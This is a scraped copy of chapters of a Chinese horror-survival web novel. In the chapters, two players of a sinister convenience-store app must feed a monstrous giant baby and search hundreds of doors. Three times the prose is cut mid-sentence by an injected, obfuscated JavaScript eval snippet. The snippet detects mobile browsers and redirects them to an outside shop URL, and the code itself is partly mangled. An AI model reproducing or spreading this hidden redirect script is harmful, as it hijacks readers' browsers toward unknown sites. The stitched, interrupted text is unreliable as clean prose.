凯文想了想,换了种说辞,“你以后给她发去的信息再也不会收到回复,你的日常也不会再有她的参与,这些你可能暂时感觉不到,但确确实实属于会让人悲伤的事。” 小满眼睛转了转,像是在想象凯文描述的场景。片刻后,她摇摇头,“我知道你想表达什么,但是我们的经历不同,对待事情的态度也不同,所以,我觉得我这个时候不用哭。不过你放心,你在为你逝去的朋友感到悲伤时,我不会用我的待人接物方式对待你的。” 凯文看向小满的眼神十分错愕,他表情复杂,不知该如何开口接话,又或者,他似乎没想到小满是这样的想法。 小满一看凯文的表情就知道他好像没有理解自己的想法,于是果断地闭了嘴,然后后退一步,走到凯文的视线盲区内。 她重新打开那个APP,便利店分栏最上方的搜索图标由灰色变为浅蓝色,小满点进去,一个跳动的光标静静在屏幕中央闪烁,仿佛在等候小满的下一步操作。她略一思索,输入了“人类生命”这几个字。 一个白色弹窗忽然出现:会员等级5开启兑换,您目前的会员等级为0,请继续购物,获得会员积分哦。 见状,小满唇角微微勾起,将“人类灵魂”这几个字重新输入,搜索结果和刚才的一样,同属会员等级5开启兑换的行列。 她看着那个数字5,有点失望地轻啧一声。 原本小满以为灵魂只是组成人类的一部分,所需的等级和积分会比完整的生命低,既是如此,自己只需要兑换童童的灵魂,然后把她附着在动植物或者布偶身上就可以得到一个皆大欢喜的结局。 但既然两种差不多,小满也歇了只兑换灵魂的心思。 不过目前的发现已经足够小满雀跃的了,毕竟自己只是抱着试一试的心态随意一输,结果发现原来这种虚无缥缈的东西也在便利店的兑换范畴中,只是不知道应该花费多少积分罢了。 不过看来自己将来还会再重新进入便利店许多次,等自己的会员等级提升,或许知道的会更多。 从医院出来已经是凌晨,天边被透出的日光划开一线。 小满伸了个懒腰,冲凯文晃了晃手中的手机,“麻烦你陪我这么久,给你转了点劳务费。” 凯文有点意外她的做法,他摇摇头道:“没事的,我本来也不想凑到那个缺货老板前当孝子。往后有什么手续不清楚,可以来问问我。咱们不是加了联系方式了嘛?” 小满对他友善的态度有些意外,她伸出一根手指,在脑袋上边比划边说着,“我还以为你会觉得我这里有点问题,然后和我绝交的,毕竟彤彤也说过我这里有点不正常,要不是提前知道我是这样的人,高低把我打一顿。” 凯文默默地赞同了彤彤的话。但紧接着,他郑重道,“我救了你,你又救了我,咱们是过命的交情了,无论你怎么想,我都不会对我的救命恩人说半点不好。” 小满似乎对他的话很是赞同,帮他贴心地打了辆出租,“彤彤还有事情等着我去处理,咱们下次任务前再见好了。” 8. 巨婴1 上午九点,小满被一连串的消息提示音唤醒。她揉揉惺忪的睡眼打开手机,翻看着凯文给她发来的讯息。 涉及到便利店的消息不仅无法说出口,就算在现实中的聊天软件上打字也会被弹窗警告。因此,除了日常交流,小满和凯文一般都用APP的内置聊天系统说话。 消息是从便利店APP上传来的,为首的是一张照片,一个没什么特殊标识的快递纸箱大开着,泡沫纸和瓦楞板的包装中静静地躺着一块闪烁着寒芒的黑铁。紧随其后的是凯文打满了感叹号的消息,看得出他被眼前的东西吓得语无伦次了。 凯文:[救命!我就是点着玩的!] [谁知道刚点确认没多久,这个匿名包裹就送货上门!] [我刚摸过了,是真的。] [怎么办怎么办怎么办!] [还退不了……] 小满:[多少积分兑换的呀?] 凯文:[2积分。] 小满:[明天有空吗?组队去做任务吧,正好把这个带进去消耗掉。] 凯文:[收到收到,我去请假。] 次日,身穿休闲运动装的小满吞下一片止痛药,随即点进凯文聊天框中分享的组队链接。 一股熟悉的失重感过后,小满来到了便利店。女店员声音温柔,向她轻声问好。小满四下张望一番,却没看到发起组队链接的凯文。 闲着也是闲着,小满打开手机,对照着手机上的信息观察起便利店中的商品。她随手拿起一个沉甸甸的粉色包装,幼圆字体十分可爱,包装上还有黄色的橡皮鸭图案作点缀,与它周围商品的图案格格不入。 随手翻看商品的简介时,小满忽然听到了店员的温柔问候。走近一看,原来是穿着短袖运动装的凯文。 “我试过了,把枪带在身上再点组队链接我面前会跳警告弹窗,”凯文无精打采地拍了拍自己的半裤口袋,“不过我带了点巧克力和坚果能量棒,万一我们去个荒岛或者什么与世隔绝的地方,最起码可以支撑一下。” 说罢,他看着两手空空的小满,有些意外道:“你什么都没带吗?” 小满偏头对上凯文的视线,坦然地摊了摊手,“计划总不如变化快,万一带的东西在任务中成了累赘,总比不带要好,是吧。” 凯文点点头,见她手中拿着一个粉色包装袋,好奇地接过,“你想买这个吗?” “巨婴,好评率:17%,热销程度,4颗星。注:本商品有隐藏内容。”小满替凯文读出了手机上的简介内容。 闻言,凯文有点犹豫,“这次的好评率怎么比上一个还低?是不是比上一个更危险?” “上次获得积分后你也填写过这个评分链接吧?这种比较反人类的任务不会收获太多好评的,”小满晃了晃自己的手机,“评分作为每一个活下来的人都可以表达自己态度的方式,填的人越多,数据自然就越准确。所以我推测,之所以这个比上一个评分低,是因为通过这个任务的人比上一个多。” “真,真的吗?”凯文的眼中又燃起了希望的焰火。 小满回以一个假笑,“假的吧,我说这些就是想安慰安慰你。毕竟我感觉活下来的人脑子都有点问题,不能以正常人的思考方式预测他们的行动。” 看着希望破灭的凯文,小满想了想,提议道:“不如我们各选一种,你去找一个好评率比较高的,怎么样?” “那算了,我觉得我自己一个人死得更快。”凯文犹豫再三,一咬牙,拿过了小满手中的粉色包装袋。 两人支付成功,一道离开便利店。 小满刚刚站稳,还未睁开眼,一股甜腻刺鼻的气味扑面而来,好似一个糖浆拳头又快又准地冲着她的鼻子来了一下。 她快速捂住鼻子环顾,仔细打量着四周的装潢。 他们处在一个回字形字形建筑的一楼,近似于正方形的大厅宽阔空旷,足足有四五个足球场那么大。八根朴实无华的罗马柱分为两列,立于大厅中支撑着天花板与地板。 大厅上方的天花板描摹着绿叶形状的可爱涂鸦,叶与叶的链接处用翠绿的塑料藤蔓做过渡。一些明亮的日光灯点缀其中,将整个建筑照得通透明亮。地砖则用粉紫,粉黄色的碎片拼合成一朵朵卡通简笔画画成的花朵图案,十分契合整座大厅的可爱气质。 整个建筑上下三层共十二个面,每个面都布置着几十道马卡龙色的半圆门。缤纷的门一眼望过去眼花缭乱,像是被打乱的魔方,看得人眼疼。建筑的每一层都在在四角安置着步行楼梯,除了上下通行的楼梯,还可以通过每层的回字形走廊转移。 小满快速地数过一遍,每一面墙门的数量相同,都是一百道。一层四个面,整座建筑三层,总共一千两百道门。这一千两百道紧闭的门除了颜色外一模一样,没有任何特殊的花纹和标识。 “嘿,你们两个,来这边!” 小满循声望去,不远处一根罗马柱的背后探出一个小伙的脑袋,正朝她和凯文招手。 柱子的后面已经聚集了一些人,有一对正抱在一起小声啜泣的男女情侣,两个西装革履的中年男人,一个穿着西装套裙的年轻女孩,还有五个抱着滑板的年轻人。刚刚喊他们的小伙也在这五人之列。 两人坐下后,小伙热情地做起了自我介绍,“我是灯泡,这是木木,小雅,冬冬,牛仔。我们五个一个大学轮滑社的。那边的情侣光顾着哭了还没说名字,那两个穿西装的一个是钱哥,一个是涛哥,坐他俩后面的那个妹子是涛哥的秘书,小秦。” 他话音刚落,被称为钱哥的胖男人立刻愤愤地挥了挥拳头,“老子叫钱志豪,A市的正豪企业,就是做食品加工的那家上市公司,我是管事的!外人都尊称我一声钱总,钱哥也是你们这些小年轻能叫的?” 名叫木木的女生冷冷地瞥了他一眼,“大叔,你叫什么无人在意好吗?与其在这里给我们纠正称呼,不如抓紧做做热身运动活动活动筋骨。要是有什么怪物窜出来,第一个吃的就是你。” “喂……木木……”小雅扯扯木木的衣角,低着头,明显是在憋笑。一旁的冬冬虽然已经在尽力压下自己抽搐的嘴角,但他还是失败地笑出了声。灯泡一见钱哥作势挽起袖子,正欲发怒,赶忙嬉皮笑脸地打圆场,“哎呦,钱总,我们就是些没见过世面的大学生,您老人家宽宏大量,大人不记小人过,就别揪着这点错不放了。” 钱哥胖脸憋得酱紫,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165949|138845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他除了愤怒地瞪着眼前的五个大学生以外什么都做不了。毕竟要是他继续发作,不就是气量小,和一群小孩斤斤计较了吗?那个女唱白脸,男的唱红脸,他们五个人一起挤兑他,真憋屈! 他身后的被称为涛哥的男人低眉顺眼,点头哈腰地宽慰着钱哥,“一群没到过社会的小屁孩,就会在钱总面前过过嘴瘾。您放心,别看他们现在趾高气昂的,出了学校还不是给钱总您打工的?” 这番话听在钱哥耳中,润在钱哥心间。他赞许地拍了拍涛哥的肩膀,“还是你小子会说话,不枉费我栽培你这么多年。放心,等我们出去以后,我马上派人跟进公司和你们的项目。” 涛哥喜不自胜,而他身后坐着的小秦秘书飞快地抬头瞟了钱哥一眼,厌恶地翻了个白眼。 一场风波暂时平息,众人的注意力又回到了新来的两人身上。小满指指自己,“小满。”,凯文紧随及其后,微微躬身,“叫我凯文就行,请大家多多关照。” 灯泡和他们搭话纯属礼貌,问了几个不咸不淡的问题后就回到了自己的五人小团体中。 小满拆开手中的包装袋,拿出藏在其中的一个奶瓶,托着腮思考。 刚才她注意到众人身侧有粉色的包装碎片,有几人手中还拿着一个奶瓶把玩,猜到这可能就是这一关会用到的道具。比一个成人手掌略长的婴幼儿奶瓶外观与超市里展示的商品别无二致,奶瓶里面装着大半瓶奶,摸起来还温温的。她低头轻嗅,那是再普通不过的奶粉味道。 一般来说,巨婴有两种定义。一种是心理幼稚,依赖性强,自私,情绪不稳定的成年人,另一种则是明面上的意思,巨婴,巨大的婴儿。 由周围的环境作推断,以手中的奶瓶为佐证,这个巨婴,或许真的是“巨大的婴儿”这一个意思。 “你喜欢婴儿吗?”小满忽然抛给了凯文这样一个没头没脑的问题。 正做着深呼吸的凯文将自己的目光从地面转移到小满脸上,僵硬地摇摇头,“不喜欢。” 小满微微一笑,“太好了,我也不喜欢。” “妈妈,我要找妈妈……救命……” 不远处传来一声细弱的呼救,引起了大家的注意。一个穿着小学校服的女孩紧紧揪着双肩包的系带,无助地站在原地四下张望。 灯泡小跑过去,半推半哄地带着那个小女孩来到了柱子后。 女孩小小的身体不住地颤抖,警惕地盯着想要过来搭话的灯泡。见状,灯泡挠了挠头,向偷笑的小雅投来了求助的眼神。 小雅会意一笑,半蹲在女孩身前,瞥见了她胸前别着的铭牌,“明月妹妹,不用害怕,我们是活人。不信你就摸摸姐姐的脸。” 明月试探着伸出手,摸了一下小雅的脸,瞬间眼眶一红,啪嗒啪嗒落下泪来,“姐姐,你是热的!所以我们还活着!” 得到了肯定回答的明月放松下来,抱着小雅语无伦次地讲了一大堆。从明月的话中不难得知,她在放学回家的途中遭遇大雨,正想给妈妈打个电话求助,却莫名其妙地成了便利店的会员,还进入了这个诡异的地方。 没等小雅继续安慰安慰明月,忽然,一声突兀的电话铃将此刻相对融洽的氛围扰乱。 9. 巨婴2 小满将奶瓶收进口袋,不动声色地观察起四周的墙壁。 她快速地数过一遍,发现每一面墙都有一百道门,看来每一层都是正方形。一层四个面,那就是四百道门,整座建筑三层,总共一千两百道门。这一千两百道紧闭的门除了颜色外一模一样,没有任何特殊的花纹和标识。大概是因为任务还没开始,所以这些门的用途还暂时保密。 “请问……这里有人吗……救命……” 不远处传来一声细弱的呼救,打断了小满的思绪。 小满探头看去,一个看起来就十二三岁的女孩紧紧揪着双肩包的系带,无助地站在原地四下打量着。 灯泡见又来了一个人,还是个小孩,赶紧将她领回了众人聚集的地方。 女孩惶恐地缩成一团,小小的身体不住地颤抖着,看起来害怕极了。 见状,灯泡放缓声音,耐心询问:“小妹妹,你叫什么名字?” 没成想女孩眼眶一红,啪嗒啪嗒落下泪来。她警惕地盯着灯泡抽噎许久,也没说出一个字。 灯泡挠了挠头,正想示意外貌看起来更温柔的小雅来和她沟通,忽然,一声突兀的电话铃将一切扰乱。 刺耳的电话铃声像是一道惊雷,轰地一下在众人的耳畔炸开。大家不得不捂住耳朵张开嘴巴,防止鼓膜被它击穿。 阵阵铃声震耳欲聋,它响过四声,一个稚嫩的童音接起了电话,“喂喂喂,是妈妈吗?是妈妈吗?” 电话那头中传来一个温柔女人的声音,像是潺潺的流水般动听,“宝宝,是妈妈呀。妈妈有事不能回家,暂时见不到宝宝了。” “那,那怎么办?我要妈妈!妈妈!”带着哭腔的童声陡然拔高,隐隐有哭闹的架势。 电话那头的妈妈声音依旧轻和温柔,“宝宝,你听我说,虽然妈妈不能回家,但是妈妈给你找了保姆呀!你要在保姆的照顾下吃得饱饱的,长得壮壮的,等妈妈回家,给妈妈一个惊喜,好不好。” 那道童声又转悲为喜,咯咯笑道:“好!好!” 电话咔嚓一声挂断,整个大厅重回寂静。 众人的面色都不太好,被刺耳的声音轰炸过,所有人的耳朵都酸酸的,还有几个人恶心得直接吐了出来。 小满揉着胀痛的耳朵正要起身,大厅忽然剧烈地震动起来。 “快,快看上面!” 小满循声望去,只见天花板上凭空出现了许多大洞,一些五颜六色的东西正从大洞中掉出,快速向地面坠落。 众人慌忙躲闪,站稳后才看清,原来掉下的东西竟然是一个个吃的:小山一样的奶油蛋糕,面包,饼干和果冻,当然,还有几个装满奶的奶瓶。只是它们都掉落在大厅的四周,圆心部位空荡荡的。 一个面板忽然出现在小满面前。“任务:喂饱巨婴。隐藏任务:杀死巨婴。”小满默念了一遍关掉面板,看着空荡的大厅若有所思。 不出小满所料,大厅正中央的上方出现了一个硕大的黑洞,一坨粉色的肉从其中掉了下来。 粉肉砸得地板剧烈震动,原本好不容易站稳的众人又重新跌倒在地。 小满仔细辨别着掉下来的物体,却在看清它的真正面貌的同时厌恶地撇了撇嘴。 粉肉原来是个呈现跪伏姿势的婴儿,只是过于巨大和肥胖,小满一时之间没有认出来。 重型卡车一般大的婴儿浑身上下只穿着一条纸尿裤,裸露在外的皮肤是鲜艳的肉粉色。他的四肢被柔软的肥肉包裹,肉与脂肪相互挤压,出现一层层游泳圈一样的形状。此刻,他正试图抬起光秃秃的脑袋,但很明显这对于他来说是一件很困难的事,于是,他只能不断地在地上蛄蛹着,像条翻滚的肥大蠕虫。 众人赶忙分散开,躲在柱子后面观察,静待事态发展。 终于,在经过几次失败的尝试后,婴儿借助手臂的力量终于成功地坐了起来。他歪着脑袋咯咯笑,伸出两只滚圆的手拍打着自己的肚皮,像是在庆祝自己的成功。 他自娱自乐了一会,一道咕噜声从他圆滚滚的肚皮中传出。婴儿忽然哇哇大哭起来,“饿了!饿了!我饿了!”他快速扭头,目光直直地锁定到众人藏身的柱子后,“宝宝饿了!宝宝饿了!” 如此,小满得以窥见他的正脸。婴儿的脖子被肥肉淹没,远远看去像是肉墩子上安了个肉球当头。一张圆脸上五官大得出奇,也平得出奇,像是硬镶上去的不合适的装饰品。他一双骨碌碌转动的黑白分明的眼睛中有算计,有怨毒,就是没有属于婴儿的懵懂无知。当他张嘴大喊时,众人清楚地看见了他嘴中上下两排整整齐齐的牙齿,皆忍不住打了个寒战。 “这,这是小孩?”凯文不禁倒吸了一口凉气。 小满与他对上了视线,婴儿忽然嚎啕大哭起来,“要饿死了!要饿死了!”那声音的刺耳程度与先前的电话铃声不相上下。 “快,喂他吃东西!”小满皱眉撂下这一句话后就一马当先地冲了出去,费力地推着婴儿不远处一个倒地的奶瓶。 虽说倒地的奶瓶方便滚动,但她使出了吃奶的劲,奶瓶依旧安如泰山,纹丝不动。 幸好被小满喊醒的凯文拉着还在迟疑的那三个滑板社团男生冲了过来,加入了推奶瓶的队伍。木木和小雅紧随其后,在左右两侧控制奶瓶的滚动方向,确保能以最短的距离运到婴儿手中。 有了这几人的加入,推奶瓶的进程一下子加快了不少。他们小心翼翼地靠近婴儿,将奶瓶推到他目光所至,触手可及的地方。 婴儿看见奶瓶,停止了哭闹。于他们而言像岩石一样难以推动的奶瓶,在婴儿的手里却像是一个小巧的玩具。他凶狠地撕咬着奶嘴,将硅胶嚼得咯吱作响。大量奶液顺着被咬开的豁口流下,婴儿咕嘟咕嘟大口喝着,一些还来不及咽下的液体沿着他的嘴角滑下,顺着他圆圆的下巴没入脖子上的游泳圈中。 液面飞快地降低,婴儿很快就喝完了。他满足地打了个饱嗝,将奶瓶扔到一旁后拍着手,咿咿呀呀地唱起歌来:“宝宝小,小宝宝,宝宝一定要懂礼貌,敲门先问好。” 他将这几句算不上歌谣的歌谣翻来覆去唱了三遍,然后咂咂嘴,用手揉着眼睛,就这样坐着睡着了。 小满警惕地竖起耳朵等了半晌,确认婴儿发出的鼾声平稳,呼吸均匀后,放心地坐在地上大口地喘着粗气。 “靠北啦,什么鬼……”扶住膝盖大口喘气的灯泡还未从惊吓中缓过神来。 小雅的脸色也不太好,她艰难地咽了口唾沫,犹豫道:“咱们这算不算把他喂饱了?你们看,他都吃饱睡觉了!所以……咱们怎么还不能出去?” “那就说明他还没饱,还得继续喂他,”小满终于喘匀了气,她直起上半身,伸手在大厅中虚画了一圈,“这里还有这么多吃的,少说也得再重复六七遍喂食动作。” 小雅的脸色更白了,她后怕地摆手,“刚才推的那一趟就是我的极限了,真的不行了,再……再怎么说我也得缓缓才行。” “没事,还有我们几个男的,你和木木先去旁边休息吧。”一直没说话的牛仔开口了,他一张嘴,就得到了在场男生的赞同。 “其他的人呢?怎么不见他们?”冬冬还在朝他们跑来的方向张望,那里空荡荡的,一个人影都找不见。 小满伸手向二楼一举,“在那里,他们刚才趁着我们推奶瓶,跑到二楼避险去了。” 几人抬头望去,刚好看到几个鬼鬼祟祟的身影。那几道身影发现自己暴露,赶紧跑起来进行转移。 冬冬和牛仔抬脚正要去追,却被小满喊住。她将手围成一个喇叭,举在唇边向他们大喊,“如果你们不下来,那我们也不会继续做任务。究竟接下来会发生什么,不喂饱这个婴儿又有什么后果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165950|138845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我们拭目以待。” 说完,她示意大家转身离开。凯文跟上小满,悄悄问道:“万一他们真的不下来怎么办?” “我刚才不是已经说过了吗,他们不下来,那咱们只能一起死了,这既是威胁,又是在给他们分析现状,”小满偏头看向他,“如果只有我们几个,很大概率就是几轮下来全员力竭,拿那个婴儿没办法。他要做什么,我们都没有能阻止他的能力了。” 凯文点了点头,他看了眼剩下的巨大奶瓶,又看了眼气喘吁吁的三个男生,提议道:“那我们现在去休息会?” 小满点点头,随即将目光投向靠在一起的两个女生:“嗯,木木和小雅跟我过来吧。” 木木和小雅对视一眼,不约而同地跟上了小满的脚步。 这里的门共分为四个颜色,鹅黄,天空蓝,薄荷绿和玫瑰粉。小满来到最近的一面墙前,盯着面前的门,脑海中回想着刚才婴儿说的话。 “宝宝一定要懂礼貌,敲门先问好。” 她挑了扇薄荷绿的门,用力一推,半圆门纹丝不动。于是她弯起一个指节,轻轻在门上扣了三下。 门后传来一个稚嫩的童声:“是谁呀?” 小满答道:“我是新来的保姆,要进屋打扫卫生,可以给我开下门吗?” “没问题。” 门里的人应答后,半圆门自动向内弹开,露出一个刷着薄荷绿墙漆的小房间。小满试着往里踏了一步,感受到脚底传来的坚实的感觉后,放心地走入了门中。 小房间没有光源,没有窗户,却十分明亮。空荡荡的房间中只在与门相对的墙边边放着一个栽着迷你多肉的小花盆。 小满正想走过去瞧瞧,刚向前迈了一步就走不动了。她面前似乎出现了一道透明的屏障,阻挡了靠近的脚步。 她退出房门,薄荷绿的门就在她身后自动关上了。 小满按照上次开门的方式打开了一旁的玫瑰粉门,眼前的一幕让她不由得皱了皱眉:数十只头被砸烂的白羽鸡堆在房间中。即便有透明屏障做隔断,她也依旧能想象到那股难闻的铁锈味。 她退出房间,看着面前数不尽的半圆门沉默。 “你们两个记忆力怎么样?”小满突然看向跟在她身后的两个女孩,轻声问道。 木木肯定地点了点头,小雅犹豫了片刻,也跟着点了点头。 小满将手搭在两人的肩膀上,“我觉得接下来的任务走向和门里的东西有关,但每一扇门背后都藏着不同的东西。在不知道哪些是可用的前提下,我建议我们全部记住。” “这么多?就咱们三个?可能吗?”小雅看着数不清的门,面露难色。 “不止咱们三个,等等那些人下来后,帮我们的人就多了。现在,你们先去二楼,争取一人记一面墙的内容,”小满在她们身后推了一把,“遵守先敲门问好,看到门开了再进入的规则,多注意不同颜色门背后物品的规律,一直记就好了,就算第二次喂食又开始了也不用下来帮忙。” 两个女生飞快地跑走了,小满做了个深呼吸,环顾四周。 这一层还有三百九十八道门。但她相信自己的记忆力。 不过现在的首要任务,是确保其他人的记忆过程不被打扰。 每扇门要遵循规则势必会浪费很多时间,而婴儿醒来的时间谁都不能预测。婴儿醒过来吃不到奶会又哭又闹,下一步有什么过激举动,小满也猜不到。 所以,先将奶瓶推到距离婴儿较近的位置是个不错的方法。让他醒来立刻吃奶,吃饱了立刻睡觉,为记忆门后的物品创造出一整段安静的,不被打扰的时间。 她看向靠在柱子上休息的凯文,正要去找他商议这件事。 头顶传来一阵细微的骚动,在几声沉闷的咚咚响声后,随着一声巨响,一个东西从三楼飞出,砸在了地面上。 10. 巨婴3 小满看向那个狠狠砸下的物体,眯起了眼睛。 掉下来的不是东西,而是个人,是最开始抱头痛哭的一对情侣中的男方。 他的女朋友扶着三楼齐腰高的围栏,望着在大厅地板上抽搐的男人失声痛哭。涛哥和小秦一人一边把她架住,拖了回去。 看他们离开的方向是楼梯,小满猜测他们很快就会下到大厅中,于是赶紧找凯文简洁地分析了一下现状,让他带着三个男生先去干活。随后她走到男人身边,居高临下地俯视着他。 男人不知道是不是因为头先着地的缘故,此刻正翻着白眼在地上抽搐。他口吐血沫的耳中,鼻孔全是鲜血,看他这进气少出气多的状态,已经是强弩之末了。婴儿入睡到现在大约过了七八分钟,他目前为止还没有苏醒的迹象。如果地上食物的数量就是需要给婴儿喂食的次数,那么完成整个任务最快也需要一个半小时,到那时黄花菜都凉了。 方才的自我介绍小满还记在心中,在场的人没有从事医疗救护职业的,面前的男人凶多吉少。 小满抬头望了一眼三楼,有点奇怪:二楼和三楼的走廊都有齐腰高的围栏做防护,就算是不小心失足落下,那也不至于摔得这么惨。 难道是他们做了些什么不该做的事情? 小满还在思考,他的女朋友却在两人的搀扶下来到了现场。她用颤抖的手扶住男人的双颊,低声呼唤着亲爱的,见男子毫无意识,她的眼泪大颗大颗地滚落,看起来无助极了。。 涛哥和小秦低着头站在一旁,最开始不说话的小女孩就这样默默跟在他们身后。钱哥是最后一个到的,他满头大汗,气喘吁吁,还没从刚才的剧烈运动中缓过来。 没想到一见到钱哥,扶住男人的女人立刻换了副表情,她恶狠狠地瞪向钱哥,恨不得从他身上咬下一块肉来,“我都说了按照那个婴儿唱的歌谣行事,你为什么不听?你为什么要砸门?你自己不小心,死了就死了,为什么到头来让我的男朋友当了替死鬼?” 钱哥被女人说得脸一红,但他理不直气也壮,提了提腰带后发出一声不屑的冷哼:“被门拍下去是他反应慢,没躲过,活该!这你也能怨到我身上?” 女人似乎是被钱哥的不要脸震惊到了,她猛地扑上去,伸手挠向钱哥的脸,“要是他不推你一把,现在掉下去的就是你了!我要你给我男朋友陪葬!” 一旁一直关注局势的涛哥看见了女人的动作,赶紧站在钱哥身前帮他挡下了这一击。女人的长指甲划过他的鼻梁,留下三道深深的抓痕。 涛哥抹了把鼻梁上的血,赶忙打圆场,“你对象是我们钱总的救命恩人,等咱们出去了,再和你讨论讨论赔偿的事,保证能让你满意,好不好?你看,现在那边还躺着一个大怪物呢,咱们先把那个东西解决了行不行?” 他朝小秦挤了挤眼,小秦收到指示,拉着女人小声说起了安慰的话。她苦口婆心地劝了许久,才让女人的气稍微消了些。 小满抱着胳膊,站在一旁,没有要离开的意思。她从方才的冲突中总结了两个重点:第一,要遵守歌谣的内容,如果违背歌谣内容行事,那么就会受到惩罚。第二,那个女人也发现了歌谣和门的联系,并且着手开始探索了,如果她能将她探索到的内容与大家共享,那么自己也能轻松点,少记四百道门。 只是她现在还沉浸在男朋友奄奄一息的悲伤中,肯定没心思再继续什么计划了。 小满闭着眼睛,回想了一下童童是如何安慰人的,再睁开眼时已换了副忧郁的表情。她走到女人身旁蹲下,轻轻伸手试探着男人的呼吸。 女人对她的动作很警惕,立刻上前打掉她的手,“你要做什么!” 小满捂着手,楚楚可怜地看向她,“我在看他还有没有呼吸。据说如果可以活到最后,哪怕只有一口气,在现实世界也可以复活。” “真的吗?”女人的眼中迸发出一抹鲜亮的色彩,她抓着小满的衣袖,仿佛抓住了自己的救命稻草,“你从哪里听说的?你亲眼见过会在现实世界中复活的人吗?” “是的,就是这样的,”小满认真地点点头,再看向躺在地上的男人时,眼中又多了点迟疑,“但是我看他的状态不怎么好,感觉,感觉……” 女人在其他几个在场人的帮助下小心翼翼地将男人拖到一根柱子后,随即低头用自己的额头贴了贴男人的。起身时,脸上的表情是说不出的坚毅,“我们赶紧喂饱他,然后出去不就好了,妹妹,你听我说……” 女人将自己在三楼的经历一五一十地告诉了小满。和小满猜想的差不多,女人已经发现了歌谣和任务的联系,正在摸索各个门之间的规律。只是才开了十几扇门,就被钱哥这个搅屎棍打断了。 “姐姐,既然你和其他几个人都已经记过三楼的十几扇门了,那就继续去三楼找信息吧,一楼大厅就交给我们。”小满冲她甜甜微笑。 等到他们的身影消失在了楼梯拐角,小满收住笑意,快速回到了记忆状态。 橡胶拖鞋,蛋挞,烘焙工具,毛绒玩具,一整盒的苏打饼干……里面的东西五花八门,但都有一个共同点:暂时无法触碰。 不知不觉间,小满已经看完了一楼大半的门。 大厅也曾响起过两次婴儿要醒来的预兆,不过有了提前的准备,婴儿醒来就能吃到东西,所以总体来说问题不大,只是他再也没唱过什么歌谣。 异变发生在第四次喂食后。 吃饱的婴儿笑嘻嘻地拍着手,唱出了第二句歌谣,“宝宝宝宝很好奇,门里是苹果还是梨?若想拿到先答题。” 在婴儿沉睡的刹那,小满快步跑向离她最近的那个门。在走完例行的敲门程序后,她踏入房间,面前的屏障浮现出一行黑色数字:879*12=? 数学题? 好在这个并不是很复杂,小满默算了一下,填上了10548。 屏障在一瞬间消散了,小满快步走近,拿起地上放着的一根柱形电池。它没什么特别的,就只是一块普通的电池而已而已。 小满将它放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165951|138845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进口袋,确认房间中再无旁物后回到了大厅。 原本在二楼三楼的人也陆陆续续下来了,他们手中有的拿着一柄水果刀,有的拿着四五块小面包,看向彼此的眼神都带着“你是认真的吗”的疑惑。 看着众人手中不尽相同的物品,小满说出了自己的猜测:“光凭地上掉落的食物是喂不饱婴儿的,我们应该搜集所有门后能吃的东西投喂给他。” “生,生的也要吗?”小雅伸手指向了二楼的一扇门,“那里有一只被大卸八块的牛,血淋淋的好恶心……” 小满肯定地点头,“我们先把能提供热量的食物拿下来堆积到大厅中,至于吃不吃,全看婴儿的心情了。” 还没等众人分享刚才的发现,在他们不远处的婴儿忽然睁开了眼睛。他双手捶地,哭闹声比以往的三次更大,“我饿了啊啊啊啊啊啊!我要吃东西啊啊啊啊啊啊!” 剧烈晃动的地板让原本堆积在他身侧的奶瓶四下滚开,有一个甚至直冲着小满而去。 小满慌乱避过,脑袋有些发蒙:明明离上次喂食才过去了四五分钟,他怎么又醒了?为什么? 但现在的首要任务是安抚住发狂的巨婴。 目前离婴儿最近的是一块摔得稀碎的奶油蛋糕。除了几个狼狈地去追逃跑奶瓶的人,剩下的人都注意到了它。众人互相交换了个眼神,不约而同地向着蛋糕奔去。 上面的水果装饰在摔下的过程中已经掉了个七七八八,只剩下一些覆盖着奶油的夹心蛋糕胚还算完整。众人小心翼翼地推动着奶油蛋糕,慢慢靠近正在咆哮的婴儿。 婴儿停止了捶地的动作,好奇地盯着面前的蛋糕。他将沾了点奶油的手指放进嘴中吸吮,咂着嘴品尝甜味。在确认过味道后,他徒手抓起蛋糕,一把接一把地往嘴里塞。 他狼吞虎咽地吃完了面前小山一般的蛋糕,末了,还意犹未尽地咂咂嘴,死死盯着地上残余的奶油,不知道在想些什么。 “不能浪费,不能浪费!浪费是坏宝宝!”他一边大喊,一边扫视着附近的众人。在所有人没来得及反应的情况下,婴儿抓起离她最近的小雅,用她当做勺子,刮着地上剩余的奶油。 婴儿开始主动攻击人类了?小满紧盯着婴儿的动作,大脑飞速思考:难道不同的食物会触发婴儿不同的动作?还是说婴儿的攻击性和沉睡时间成反比关系? 